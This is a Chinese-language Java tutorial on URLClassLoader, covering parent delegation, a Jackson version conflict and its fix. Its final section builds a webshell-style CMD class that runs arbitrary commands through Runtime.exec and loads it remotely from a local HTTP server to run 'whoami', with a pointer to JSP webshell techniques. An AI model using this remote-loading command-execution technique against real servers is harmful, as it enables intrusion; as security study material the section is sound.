从上面我们研究【java编程】双亲委派模式时进行Debug了源代码, 可以发现的是, URLClassLoader是ExtClassLoader && AppClassLoader的父类(不是父亲),

public class Launcher {
    static class ExtClassLoader extends URLClassLoader {}
    static class AppClassLoader extends URLClassLoader {}
}

URLClassLoader 的作用是可以从指定的jar文件和目录中加载类和资源。 其中它有两个重要的构造方法值得我们去实现并学习:

public URLClassLoader(URL[] urls, ClassLoader parent){
    // 作用: 使用指定的父加载器加载对象, 从指定的 urls 路径来查询, 并加载类
    // ...
}

public URLClassLoader(URL[] urls) {
    // 作用: 使用默认的父加载器 (AppClassLoader) 创建一个 ClassLoader 对象, 从指定的 urls 路径来查询, 并加载类
    // ...
}

如果使用第二个构造器, 那么URLClassLoader的parent将是AppClassLoader, 我们可以通过下图解释:

使用 URLClassLoader 加载&&执行 Jar 包

首先创建一个jar包, 如下:

根据上面的代码, 我们成功创建了一个jar包, 其中, 定义了com.utils.SayHello类以及在其中定义了hi方法, 创建测试代码, 如下:

public class HeihuHello {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
        URL[] urls = new URL[]{file.toURL()}; // 生成 URL
        URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
        Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello"); // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
        Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
        Method hi = clazz.getMethod("hi", new Class[]{});
        hi.invoke(o); // com.utils::hi~ ^_^
    }
}

URLClassLoader 因为委派模式导致的 "歧义" 问题

在com.utils.SayHello项目中的pom.xml文件中引入一个Jackson, 如下:

<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>

        <artifactId>jackson-core</artifactId>

        <version>2.11.0</version> <!-- 2.11.0 中存在 getFormatGeneratorFeatures 方法 -->
    </dependency>

</dependencies>

修改com.utils.SayHello::hi方法为如下内容:

public class SayHello {
    public static void main(String[] args) {
        System.out.println("Hi~");
    }

    public void hi() {
        System.out.println("com.utils::hi~ ^_^ JacksonTest: " + (new JsonFactory()).getFormatGeneratorFeatures()); // 因为编译器上下文环境中存在 getFormatGeneratorFeatures (也就是编辑器使用的是2.11.0版本), 所以编译不会出错.
    }
}

因为我们通过Maven增加了Jackson包, 所以我们设置在打jar包时, 一定要有提取到目标Jar (移除工件再添加工件即可), 如图:

重新定义后, 再构建项目即可.

确认打包好的内容, 存在 jackson, 如图:

在我们ClassLoader测试环境中, 在pom.xml文件声明如下选项:

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>

    <artifactId>jackson-core</artifactId>

    <version>2.5.4</version> <!-- 2.5.4 版本不存在 getFormatGeneratorFeatures -->
</dependency>

最终测试结果:

public class HeihuHello {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
        URL[] urls = new URL[]{file.toURL()}; // 生成 URL
        URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
        Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
        // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
        Object o = clazz.newInstance();   // com.utils.SayHello@6e0be858, 这里可以成功生成对象
        Method hi = clazz.getMethod("hi", new Class[]{});
        hi.invoke(o);
        /*
        * Caused by: java.lang.NoSuchMethodError: com.fasterxml.jackson.core.JsonFactory.getFormatGeneratorFeatures()I
            at com.utils.SayHello.hi(SayHello.java:16)
            ... 5 more
          这里会抛出异常, 因为加载类的方式是委派的, 当我们委派到 AppClassLoader 时, 加载了我们本环境中 2.5.4 的 Jackson, 而 2.5.4 的 Jackson 是不存在 getFormatGeneratorFeatures 方法的, 所以这里会报错.
        * */
    }
}

解决办法:

使用URLClassLoader的指明父亲的构造器, 代码如下:

public class HeihuHello {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        File file = new File("D:/MyJarTest.jar");
        URL[] urls = new URL[]{file.toURL()};
        URLClassLoader urlClassLoader = new URLClassLoader(urls, HeihuHello.class.getClassLoader().getParent());
        // ClassLoader.getSystemClassLoader() -> 返回 AppClassLoader
        // AppClassLoader -> parent -> ExtClassLoader
        Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
        // ExtClassLoader 及其父类都找不到 Jackson 包, 随后交给我们当前的 URLClassLoader 进行扫描, 最终扫描到了已打包好的 Jackson
        Object o = clazz.newInstance();
        Method hi = clazz.getMethod("hi", new Class[]{});
        hi.invoke(o);
    }
}

URLClassLoader 远程加载 WebShell

准备如下类:

public class CMD {
    /**
     *
     * @param cmd 要执行的命令
     * @return 命令执行的结果
     */
    public static String Exec(String cmd) {
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream is = process.getInputStream();
            byte[] myChunk = new byte[1024];
            int tmp = 0;
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while ((tmp = is.read(myChunk)) != -1) {
                byteArrayOutputStream.write(myChunk, 0, tmp);
            }
            return new String(byteArrayOutputStream.toByteArray());
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

然后打一个jar包, 开启网络服务.

准备如下代码, 测试运行结果:

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/MyJarTest.jar")}; // 解析 jar 包
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class<?> clazz = urlClassLoader.loadClass("CMD"); // 解析 jar 包中的 CMD.class 文件
        Method method = clazz.getMethod("Exec", String.class);
        String result = (String) method.invoke(null, "whoami");
        System.out.println(result); // heihubook\administrator
    }
}

当然了, 也可以将CMD.class文件放入到WEB服务根目录, 如图:

随后准备如下代码:

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")}; // 当成目录
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class<?> clazz = urlClassLoader.loadClass("CMD"); // 会读取目录下的 CMD.class 类
        Method method = clazz.getMethod("Exec", String.class);
        String result = (String) method.invoke(null, "whoami");
        System.out.println(result); // heihubook\administrator
    }
}

使用URLClassLoader，传入的地址，如果以`/`结尾，则会当做目录, 去这个目录下找类，否则就会将这个地址后的文件当做jar包，从jar包中找类。

当然了, 这里可以学习 ClassLoader-JSP 马的应用: https://www.freebuf.com/articles/web/323775.html